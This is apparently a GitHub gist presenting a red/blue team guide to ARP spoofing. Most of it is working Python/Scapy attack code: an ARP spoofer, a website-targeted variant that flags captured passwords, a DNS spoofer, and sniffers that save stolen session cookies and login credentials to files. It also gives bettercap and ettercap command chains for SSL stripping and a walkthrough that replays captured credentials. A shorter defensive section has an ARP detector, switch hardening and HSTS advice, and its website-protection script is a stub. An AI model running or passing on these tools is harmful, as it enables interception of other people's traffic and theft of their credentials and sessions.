Skip to content

Instantly share code, notes, and snippets.

@aw-junaid
Created February 21, 2026 22:32
Show Gist options
  • Select an option

  • Save aw-junaid/21500f988f30c9c056f7aaecdf0f8066 to your computer and use it in GitHub Desktop.

Select an option

Save aw-junaid/21500f988f30c9c056f7aaecdf0f8066 to your computer and use it in GitHub Desktop.
This comprehensive guide should help both red and blue teams understand ARP spoofing attacks and defenses!

ARP Spoofing/Poisoning Attack - Complete Guide

Simple Diagrammatic Explanation

Normal Network Communication:
┌─────────┐         ┌──────────┐         ┌─────────┐
│ Victim  │────────▶│ Gateway  │────────▶│ Internet│
└─────────┘         └──────────┘         └─────────┘
  (192.168.1.10)     (192.168.1.1)

During ARP Spoofing Attack:
┌─────────┐                        ┌─────────┐
│ Victim  │◄──────────────────────▶│Gateway │
└─────────┘         Attacker        └─────────┘
    ▲               ┌─────────┐         ▲
    └───────────────│Attacker │─────────┘
                    │(MiTM)   │
                    └─────────┘

How ARP Spoofing Works

1. Normal ARP Cache:
   Victim:   192.168.1.1 → MAC_GW
   Gateway:  192.168.1.10 → MAC_V

2. ARP Cache Poisoning:
   Attacker sends: "I am 192.168.1.1" → Victim
   Victim updates: 192.168.1.1 → MAC_A

   Attacker sends: "I am 192.168.1.10" → Gateway
   Gateway updates: 192.168.1.10 → MAC_A

3. Result - Man-in-the-Middle (MiTM):
   Victim ←→ Attacker ←→ Gateway
   All traffic flows through attacker

Python ARP Spoofer

arp_spoofer.py

#!/usr/bin/env python3
"""
ARP Spoofing/Poisoning Tool
For educational purposes and authorized testing only!
"""

import time
import argparse
import sys
from scapy.all import Ether, ARP, srp, send
import netifaces as ni
import subprocess
import os

class ARPSpoofer:
    def __init__(self, target_ip, gateway_ip, interface=None):
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.interface = interface or self.get_default_interface()
        self.target_mac = self.get_mac(target_ip)
        self.gateway_mac = self.get_mac(gateway_ip)
        self.running = False
        
    def get_default_interface(self):
        """Get default network interface"""
        gateways = ni.gateways()
        default_gateway = gateways['default'][ni.AF_INET]
        return default_gateway[1]
    
    def get_mac(self, ip):
        """Get MAC address for IP using ARP"""
        try:
            # Create ARP request
            arp_request = ARP(pdst=ip)
            broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
            packet = broadcast / arp_request
            
            # Send packet and receive response
            result = srp(packet, timeout=3, verbose=0)[0]
            
            # Return MAC address from response
            return result[0][1].hwsrc
        except Exception as e:
            print(f"[!] Could not get MAC for {ip}: {e}")
            return None
    
    def spoof(self, target_ip, spoof_ip, target_mac):
        """Send ARP spoofing packet"""
        # Create ARP reply
        packet = ARP(op=2,          # ARP reply
                    pdst=target_ip,  # Target IP
                    hwdst=target_mac,# Target MAC
                    psrc=spoof_ip)   # Spoofed source IP
        
        # Send packet
        send(packet, verbose=0)
        print(f"[+] Sent spoofed packet: {spoof_ip} is-at {self.get_interface_mac()}")
    
    def get_interface_mac(self):
        """Get MAC address of the interface"""
        try:
            return ni.ifaddresses(self.interface)[ni.AF_LINK][0]['addr']
        except:
            return "00:11:22:33:44:55"
    
    def restore(self):
        """Restore ARP tables to original state"""
        print("\n[*] Restoring ARP tables...")
        
        # Send correct ARP replies to both target and gateway
        packet_to_target = ARP(op=2, 
                              pdst=self.target_ip,
                              hwdst=self.target_mac,
                              psrc=self.gateway_ip,
                              hwsrc=self.gateway_mac)
        
        packet_to_gateway = ARP(op=2,
                               pdst=self.gateway_ip,
                               hwdst=self.gateway_mac,
                               psrc=self.target_ip,
                               hwsrc=self.target_mac)
        
        # Send multiple packets to ensure restoration
        for i in range(4):
            send(packet_to_target, verbose=0)
            send(packet_to_gateway, verbose=0)
            time.sleep(1)
        
        print("[✓] ARP tables restored")
    
    def enable_ip_forwarding(self):
        """Enable IP forwarding for Linux"""
        try:
            with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
                f.write('1')
            print("[+] IP forwarding enabled")
        except:
            print("[!] Could not enable IP forwarding (run as root)")
    
    def disable_ip_forwarding(self):
        """Disable IP forwarding"""
        try:
            with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
                f.write('0')
        except:
            pass
    
    def start_spoofing(self):
        """Start ARP spoofing attack"""
        if not self.target_mac or not self.gateway_mac:
            print("[!] Could not get MAC addresses. Exiting.")
            return
        
        print(f"""
╔══════════════════════════════════════════╗
║        ARP Spoofing Attack Started       ║
╠══════════════════════════════════════════╣
║ Target IP:    {self.target_ip:<16}
║ Target MAC:   {self.target_mac}
║ Gateway IP:   {self.gateway_ip:<16}
║ Gateway MAC:  {self.gateway_mac}
║ Interface:    {self.interface:<16}
╚══════════════════════════════════════════╝
        """)
        
        self.enable_ip_forwarding()
        self.running = True
        
        try:
            packets_sent = 0
            while self.running:
                # Tell target we are gateway
                self.spoof(self.target_ip, self.gateway_ip, self.target_mac)
                
                # Tell gateway we are target
                self.spoof(self.gateway_ip, self.target_ip, self.gateway_mac)
                
                packets_sent += 2
                print(f"[*] Packets sent: {packets_sent}", end='\r')
                time.sleep(2)
                
        except KeyboardInterrupt:
            print("\n\n[!] Stopping ARP spoofing...")
            self.stop_spoofing()
    
    def stop_spoofing(self):
        """Stop ARP spoofing and restore ARP tables"""
        self.running = False
        self.restore()
        self.disable_ip_forwarding()
        print("[✓] Attack stopped and cleaned up")

def check_root():
    """Check if script is run as root"""
    if os.geteuid() != 0:
        print("[!] This script must be run as root!")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="ARP Spoofing Tool")
    parser.add_argument("-t", "--target", required=True, help="Target IP address")
    parser.add_argument("-g", "--gateway", required=True, help="Gateway IP address")
    parser.add_argument("-i", "--interface", help="Network interface (optional)")
    
    args = parser.parse_args()
    
    # Check for root privileges
    check_root()
    
    # Create and start spoofer
    spoofer = ARPSpoofer(args.target, args.gateway, args.interface)
    spoofer.start_spoofing()

if __name__ == "__main__":
    main()

Requirements

Create requirements.txt:

scapy==2.5.0
netifaces==0.11.0

Install with:

pip install -r requirements.txt

Usage Guide

Installation

# Clone or create the script
chmod +x arp_spoofer.py

# Install dependencies
pip install scapy netifaces

# On Linux, you might need additional packages
sudo apt-get update
sudo apt-get install python3-scapy net-tools

Basic Usage

# Run with root privileges
sudo python3 arp_spoofer.py -t 192.168.1.10 -g 192.168.1.1

# Specify interface
sudo python3 arp_spoofer.py -t 192.168.1.10 -g 192.168.1.1 -i eth0

Step-by-Step Attack Workflow

# Step 1: Find target and gateway
ip route show
arp -a

# Step 2: Enable IP forwarding (script does this automatically)
echo 1 > /proc/sys/net/ipv4/ip_forward

# Step 3: Start ARP spoofing
sudo python3 arp_spoofer.py -t 192.168.1.10 -g 192.168.1.1

# Step 4: In another terminal, capture traffic
sudo tcpdump -i eth0 -w capture.pcap

# Step 5: Stop attack (Ctrl+C) - script auto-restores ARP tables

Red Team Guide

Attack Scenarios

# Advanced usage with packet sniffing
from scapy.all import *

def packet_callback(packet):
    if packet.haslayer(TCP):
        if packet.haslayer(Raw):
            print(f"[+] Captured: {packet[IP].src} -> {packet[IP].dst}")
            print(f"    Data: {packet[Raw].load}")

# Start sniffing
sniff(prn=packet_callback, store=0)

MITM Attack Chain

# 1. ARP Spoof (using our script)
sudo python3 arp_spoofer.py -t 192.168.1.10 -g 192.168.1.1

# 2. Traffic manipulation with iptables
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

# 3. SSL stripping
sudo python3 bettercap -eval "set arp.spoof.targets 192.168.1.10; arp.spoof on; net.sniff on"

# 4. Session hijacking with ettercap
sudo ettercap -T -M arp:remote /192.168.1.10// /192.168.1.1//

Common Attack Vectors

  • Credential Harvesting: Capture login credentials
  • Session Hijacking: Steal cookies/session tokens
  • DNS Spoofing: Redirect to malicious sites
  • File Injection: Inject malware into downloads

Blue Team Guide

Detection Methods

# arp_monitor.py - Detection script
#!/usr/bin/env python3
from scapy.all import *
import time

class ARPDetector:
    def __init__(self, interface="eth0"):
        self.interface = interface
        self.arp_table = {}
        self.suspicious_packets = 0
        
    def detect_arp_spoof(self, packet):
        if packet.haslayer(ARP) and packet[ARP].op == 2:  # ARP reply
            ip = packet[ARP].psrc
            mac = packet[ARP].hwsrc
            
            if ip in self.arp_table:
                if self.arp_table[ip] != mac:
                    print(f"[!] ARP SPOOFING DETECTED!")
                    print(f"    IP: {ip}")
                    print(f"    Expected MAC: {self.arp_table[ip]}")
                    print(f"    New MAC: {mac}")
                    print(f"    Attacker MAC: {packet[Ether].src}")
                    self.suspicious_packets += 1
            else:
                self.arp_table[ip] = mac
    
    def start_monitoring(self):
        print(f"[*] Monitoring ARP traffic on {self.interface}")
        sniff(iface=self.interface, 
              prn=self.detect_arp_spoof, 
              store=0)

if __name__ == "__main__":
    detector = ARPDetector()
    detector.start_monitoring()

Prevention Measures

# 1. Static ARP entries
sudo arp -s 192.168.1.1 00:11:22:33:44:55

# 2. Enable ARP inspection on switches (Cisco)
conf t
ip arp inspection vlan 1
interface range gig0/1-24
ip arp inspection trust

# 3. Use DHCP snooping
ip dhcp snooping vlan 1
ip dhcp snooping

# 4. Port security on switches
interface gig0/1
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown

# 5. Use encryption
# Always use HTTPS, SSH, VPN
# Implement 802.1X authentication

Detection Commands

# Check ARP cache for anomalies
arp -a | grep -v "$(arp -n | grep gateway)"

# Monitor ARP traffic
sudo tcpdump -i eth0 arp -n -v

# Continuous ARP monitoring
watch -n 1 'arp -a'

# Check for IP conflicts
sudo arp-scan --localnet

# IDS rules (Snort)
alert arp any any -> any any (msg:"ARP spoofing detected"; 
     content:"|00 11 22 33 44 55|"; sid:1000001;)

Best Practices

For Red Team

  • Always have written authorization
  • Use in isolated lab environments first
  • Document all findings
  • Clean up after testing (restore ARP tables)
  • Combine with other techniques for better results

For Blue Team

  • Implement dynamic ARP inspection
  • Use VLAN segmentation
  • Monitor for ARP anomalies
  • Educate users about network security
  • Deploy endpoint detection solutions
  • Regular security audits

Legal Disclaimer

print("""
⚠️ IMPORTANT LEGAL NOTICE ⚠️
This code is for EDUCATIONAL PURPOSES ONLY!
Unauthorized ARP spoofing is ILLEGAL and unethical.
Always get written permission before testing.
The author is not responsible for misuse.
""")

Troubleshooting

Common Issues

  1. "Operation not permitted" - Run as root
  2. "No route to host" - Check network connectivity
  3. MAC address not found - Verify IP addresses
  4. No traffic forwarding - Check IP forwarding

Quick Fixes

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Disable firewall rules temporarily
sudo ufw disable
# or
sudo iptables -F

# Flush ARP cache
sudo ip -s -s neigh flush all

ARP Spoofing on Websites (iamvictim.com)

Yes, ARP Spoofing Works on Websites! Here's How

Simple Explanation

When someone visits iamvictim.com, ARP spoofing can intercept that traffic because:

  • Website traffic flows through the network layer
  • ARP operates at Layer 2 (before the website connection even starts)
  • The attack happens BEFORE HTTPS/HTTP

Visual Flow: Website Access Under ARP Spoofing

Normal Website Access:
[User] → [Router] → [Internet] → [iamvictim.com Server]
  ↑          ↑
 DNS      Gateway
Lookup    Router

Under ARP Spoofing Attack:
[User] → [ATTACKER] → [Router] → [Internet] → [iamvictim.com Server]
  ↑          ↑
 Wrong     Attacker
Gateway    Pretends to be
 MAC       Router

Result: ALL traffic (including website visits) goes through attacker

Complete ARP Spoofing + Website Traffic Capture

website_arp_spoof.py

#!/usr/bin/env python3
"""
ARP Spoofing Attack on Website Traffic
Target: Users visiting iamvictim.com
Educational Purpose Only!
"""

import time
import argparse
import sys
import os
from scapy.all import *
import netifaces as ni
from colorama import init, Fore, Style
import threading

# Initialize colorama
init(autoreset=True)

class WebsiteARPSpoofer:
    def __init__(self, target_ip, gateway_ip, target_website, interface=None):
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.target_website = target_website
        self.interface = interface or self.get_default_interface()
        self.target_mac = None
        self.gateway_mac = None
        self.running = False
        self.captured_packets = []
        
        # Get MAC addresses
        self.get_mac_addresses()
        
    def get_default_interface(self):
        """Get default network interface"""
        gateways = ni.gateways()
        default_gateway = gateways['default'][ni.AF_INET]
        return default_gateway[1]
    
    def get_mac_addresses(self):
        """Get MAC addresses for target and gateway"""
        print(f"{Fore.YELLOW}[*] Getting MAC addresses...")
        
        # Get target MAC
        self.target_mac = self.get_mac(self.target_ip)
        if self.target_mac:
            print(f"{Fore.GREEN}[+] Target MAC: {self.target_mac}")
        else:
            print(f"{Fore.RED}[!] Could not get target MAC")
            
        # Get gateway MAC
        self.gateway_mac = self.get_mac(self.gateway_ip)
        if self.gateway_mac:
            print(f"{Fore.GREEN}[+] Gateway MAC: {self.gateway_mac}")
        else:
            print(f"{Fore.RED}[!] Could not get gateway MAC")
    
    def get_mac(self, ip):
        """Get MAC address using ARP"""
        try:
            arp_request = ARP(pdst=ip)
            broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
            packet = broadcast / arp_request
            result = srp(packet, timeout=3, verbose=0)[0]
            return result[0][1].hwsrc
        except:
            return None
    
    def spoof(self, target_ip, spoof_ip, target_mac):
        """Send ARP spoofing packet"""
        packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
        send(packet, verbose=0)
    
    def packet_callback(self, packet):
        """Process captured packets"""
        if packet.haslayer(IP):
            src_ip = packet[IP].src
            dst_ip = packet[IP].dst
            
            # Check for HTTP traffic (website related)
            if packet.haslayer(TCP) and packet.haslayer(Raw):
                try:
                    payload = packet[Raw].load.decode('utf-8', errors='ignore')
                    
                    # Look for website visits
                    if self.target_website in payload or 'Host:' in payload:
                        print(f"\n{Fore.CYAN}═══════════════════════════════════════")
                        print(f"{Fore.GREEN}[+] Website Traffic Captured!")
                        print(f"{Fore.YELLOW}    Source: {src_ip}")
                        print(f"{Fore.YELLOW}    Destination: {dst_ip}")
                        
                        # Extract HTTP details
                        if 'GET' in payload:
                            lines = payload.split('\n')
                            for line in lines:
                                if 'GET' in line or 'Host:' in line or 'Referer:' in line:
                                    print(f"{Fore.WHITE}    {line.strip()}")
                        
                        # Check for credentials
                        if 'password' in payload.lower() or 'login' in payload.lower():
                            print(f"{Fore.RED}    [!] POSSIBLE CREDENTIALS FOUND!")
                            print(f"{Fore.RED}    Data: {payload[:200]}...")
                        
                        print(f"{Fore.CYAN}═══════════════════════════════════════")
                        
                        # Save to file
                        self.save_packet(packet)
                        
                except:
                    pass
    
    def save_packet(self, packet):
        """Save captured packet to file"""
        timestamp = time.strftime("%Y%m%d_%H%M%S")
        filename = f"captured_website_{timestamp}.pcap"
        wrpcap(filename, packet, append=True)
    
    def sniff_website_traffic(self):
        """Sniff for website traffic"""
        print(f"{Fore.YELLOW}[*] Starting packet sniffer for {self.target_website}...")
        sniff(iface=self.interface, 
              prn=self.packet_callback, 
              store=0, 
              filter=f"host {self.target_ip}")
    
    def enable_ip_forwarding(self):
        """Enable IP forwarding"""
        try:
            with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
                f.write('1')
            print(f"{Fore.GREEN}[+] IP forwarding enabled")
        except:
            print(f"{Fore.RED}[!] Could not enable IP forwarding")
    
    def start_attack(self):
        """Start ARP spoofing attack"""
        if not self.target_mac or not self.gateway_mac:
            print(f"{Fore.RED}[!] Missing MAC addresses. Exiting.")
            return
        
        # Clear screen
        os.system('clear' if os.name == 'posix' else 'cls')
        
        print(f"""
{Fore.RED}╔══════════════════════════════════════════════════════════╗
║           ARP SPOOFING WEBSITE ATTACK ACTIVE            ║
╠══════════════════════════════════════════════════════════╣
{Fore.YELLOW}Target Website:{Fore.WHITE} {self.target_website:<30} {Fore.RED}
{Fore.YELLOW}Target IP:    {Fore.WHITE} {self.target_ip:<30} {Fore.RED}
{Fore.YELLOW}Target MAC:   {Fore.WHITE} {self.target_mac:<30} {Fore.RED}
{Fore.YELLOW}Gateway IP:   {Fore.WHITE} {self.gateway_ip:<30} {Fore.RED}
{Fore.YELLOW}Gateway MAC:  {Fore.WHITE} {self.gateway_mac:<30} {Fore.RED}
{Fore.YELLOW}Interface:    {Fore.WHITE} {self.interface:<30} {Fore.RED}
╚══════════════════════════════════════════════════════════╝
{Style.RESET_ALL}
        """)
        
        self.enable_ip_forwarding()
        self.running = True
        
        # Start sniffing in separate thread
        sniff_thread = threading.Thread(target=self.sniff_website_traffic)
        sniff_thread.daemon = True
        sniff_thread.start()
        
        try:
            packets_sent = 0
            while self.running:
                # Spoof target
                self.spoof(self.target_ip, self.gateway_ip, self.target_mac)
                
                # Spoof gateway
                self.spoof(self.gateway_ip, self.target_ip, self.gateway_mac)
                
                packets_sent += 2
                print(f"{Fore.CYAN}[*] Packets sent: {packets_sent} | Monitoring {self.target_website}...", end='\r')
                time.sleep(2)
                
        except KeyboardInterrupt:
            self.stop_attack()
    
    def stop_attack(self):
        """Stop attack and restore ARP tables"""
        print(f"\n\n{Fore.YELLOW}[!] Stopping attack and restoring network...")
        
        # Restore ARP tables
        if self.target_mac and self.gateway_mac:
            # Send correct ARP replies
            packet_to_target = ARP(op=2, pdst=self.target_ip, 
                                  hwdst=self.target_mac, 
                                  psrc=self.gateway_ip, 
                                  hwsrc=self.gateway_mac)
            
            packet_to_gateway = ARP(op=2, pdst=self.gateway_ip,
                                   hwdst=self.gateway_mac,
                                   psrc=self.target_ip,
                                   hwsrc=self.target_mac)
            
            for i in range(4):
                send(packet_to_target, verbose=0)
                send(packet_to_gateway, verbose=0)
                time.sleep(0.5)
        
        # Disable IP forwarding
        try:
            with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
                f.write('0')
        except:
            pass
        
        print(f"{Fore.GREEN}[✓] Attack stopped. Network restored.")
        
        # Show capture summary
        print(f"\n{Fore.CYAN}Capture Summary:")
        print(f"{Fore.WHITE}PCAP files saved with captured traffic")

def check_root():
    """Check if running as root"""
    if os.geteuid() != 0:
        print(f"{Fore.RED}[!] This script must be run as root!")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="ARP Spoofing Website Attack")
    parser.add_argument("-t", "--target", required=True, help="Target IP address")
    parser.add_argument("-g", "--gateway", required=True, help="Gateway IP address")
    parser.add_argument("-w", "--website", required=True, help="Target website (e.g., iamvictim.com)")
    parser.add_argument("-i", "--interface", help="Network interface")
    
    args = parser.parse_args()
    
    check_root()
    
    spoofer = WebsiteARPSpoofer(
        target_ip=args.target,
        gateway_ip=args.gateway,
        target_website=args.website,
        interface=args.interface
    )
    
    spoofer.start_attack()

if __name__ == "__main__":
    main()

Advanced Website Attack Scenarios

1. DNS Spoofing + ARP Spoofing

Redirect iamvictim.com to fake site:

# dns_spoof.py (combined with ARP spoofing)
from scapy.all import *

def dns_spoof(packet):
    if packet.haslayer(DNSQR):
        # Create spoofed DNS response
        spoofed_pkt = IP(dst=packet[IP].src, src=packet[IP].dst) / \
                      UDP(dport=packet[UDP].sport, sport=53) / \
                      DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,
                          an=DNSRR(rrname=packet[DNS].qd.qname, 
                                  ttl=60, rdata="192.168.1.100"))  # Attacker's IP
        send(spoofed_pkt, verbose=0)
        print(f"[+] Spoofed DNS for {packet[DNS].qd.qname}")

# Use with ARP spoofer
sniff(filter="udp port 53", prn=dns_spoof)

2. SSL Stripping Attack

# Using bettercap for comprehensive attack
sudo bettercap -eval "set arp.spoof.targets 192.168.1.10; 
                      set http.proxy.sslstrip true; 
                      arp.spoof on; 
                      http.proxy on; 
                      net.sniff on"

3. Session Hijacking for iamvictim.com

# session_hijack.py
from scapy.all import *
import re

def extract_cookies(packet):
    if packet.haslayer(TCP) and packet.haslayer(Raw):
        payload = packet[Raw].load.decode(errors='ignore')
        
        # Extract cookies for iamvictim.com
        if 'iamvictim.com' in payload or 'Host: iamvictim.com' in payload:
            cookies = re.findall(r'Cookie: (.*?)\r\n', payload)
            if cookies:
                print(f"\n[!!!] SESSION COOKIES CAPTURED!")
                print(f"Cookies: {cookies[0]}")
                print(f"From: {packet[IP].src}")
                
                # Save to file
                with open('stolen_cookies.txt', 'a') as f:
                    f.write(f"{packet[IP].src}: {cookies[0]}\n")

sniff(prn=extract_cookies, store=0)

4. Credential Harvesting

# credential_harvest.py
from scapy.all import *
import re

def http_analyzer(packet):
    if packet.haslayer(TCP) and packet.haslayer(Raw):
        load = packet[Raw].load.decode(errors='ignore')
        
        # Look for POST requests to iamvictim.com
        if 'POST' in load and 'iamvictim.com' in load:
            print(f"\n{'='*50}")
            print(f"[!] POST Request to iamvictim.com from {packet[IP].src}")
            
            # Extract POST data
            if '\r\n\r\n' in load:
                post_data = load.split('\r\n\r\n')[1]
                
                # Look for credentials
                if 'username' in post_data.lower() or 'password' in post_data.lower():
                    print(f"[!!!] CREDENTIALS FOUND!")
                    print(f"Data: {post_data}")
                    
                    # Save to file
                    with open('credentials.txt', 'a') as f:
                        f.write(f"{packet[IP].src}: {post_data}\n")

sniff(prn=http_analyzer, store=0)

Blue Team: Protecting iamvictim.com Users

Detection Script for Website Owners

# website_protection.py
#!/usr/bin/env python3
"""
Monitor for ARP spoofing attacks targeting your website visitors
Run on your web server to detect when visitors are being attacked
"""

import socket
import requests
import time
from collections import defaultdict

class WebsiteProtection:
    def __init__(self, website_domain, web_server_ip):
        self.website = website_domain
        self.server_ip = web_server_ip
        self.suspicious_ips = defaultdict(int)
        
    def check_visitor_integrity(self, visitor_ip):
        """
        Check if visitor might be under ARP spoofing
        """
        try:
            # Method 1: Check if visitor's gateway is correct
            # This requires cooperation with visitor's network
            
            # Method 2: Analyze traffic patterns
            # Unusual number of TCP resets might indicate MiTM
            
            # Method 3: HTTP header anomalies
            pass
            
        except Exception as e:
            print(f"Error checking {visitor_ip}: {e}")
    
    def monitor_visitors(self):
        """
        Monitor for signs of ARP spoofing attacks
        """
        print(f"[*] Monitoring visitors to {self.website}")
        
        # This would integrate with your web server logs
        # Example: parse Apache/nginx logs
        
    def alert_admin(self, message):
        """
        Send alert to admin
        """
        print(f"[!] ALERT: {message}")
        # Send email, SMS, etc.

# Deploy this on your web server
monitor = WebsiteProtection("iamvictim.com", "203.0.113.10")
monitor.monitor_visitors()

Prevention Checklist for Website Owners

# 1. Implement HSTS (HTTP Strict Transport Security)
# Add to web server config:
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

# 2. Use Certificate Pinning
# In your web app code:
PublicKeyPins: pin-sha256="base64+primary=="; max-age=5184000

# 3. Monitor for SSL/TLS downgrade attacks
# 4. Implement Content Security Policy
Content-Security-Policy: default-src 'self'

# 5. Use DNSSEC to prevent DNS spoofing

📊 Real Attack Scenario

# Step 1: Attacker finds target (visitor of iamvictim.com)
sudo netdiscover -r 192.168.1.0/24

# Step 2: Launch ARP spoofing + website capture
sudo python3 website_arp_spoof.py -t 192.168.1.10 -g 192.168.1.1 -w iamvictim.com

# Step 3: Victim visits iamvictim.com
# Attacker sees:
═══════════════════════════════════════
[+] Website Traffic Captured!
    Source: 192.168.1.10
    Destination: 203.0.113.10
    GET /login HTTP/1.1
    Host: iamvictim.com
    [!] POSSIBLE CREDENTIALS FOUND!
    Data: username=john&password=secret123
═══════════════════════════════════════

# Step 4: Attacker uses stolen credentials
curl -X POST https://iamvictim.com/admin -d "username=john&password=secret123"

Important Notes

  1. HTTPS Protection: Modern websites with HTTPS encrypt traffic, but ARP spoofing can still:

    • See that you visited iamvictim.com (metadata)
    • Potentially downgrade to HTTP if misconfigured
    • Perform SSL stripping attacks
  2. What Attackers Can See:

    • ✅ Website domain visited (DNS queries)
    • ✅ Page URLs (if HTTP)
    • ✅ Login credentials (if HTTP)
    • ❌ Encrypted HTTPS content (unless SSL stripped)
  3. For iamvictim.com Owners:

    • Always use HTTPS
    • Implement HSTS
    • Educate users about network security
    • Monitor for suspicious access patterns

The attack works on websites because it targets the network layer, not the website itself. Even if iamvictim.com is secure, the user's connection to it can be intercepted!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment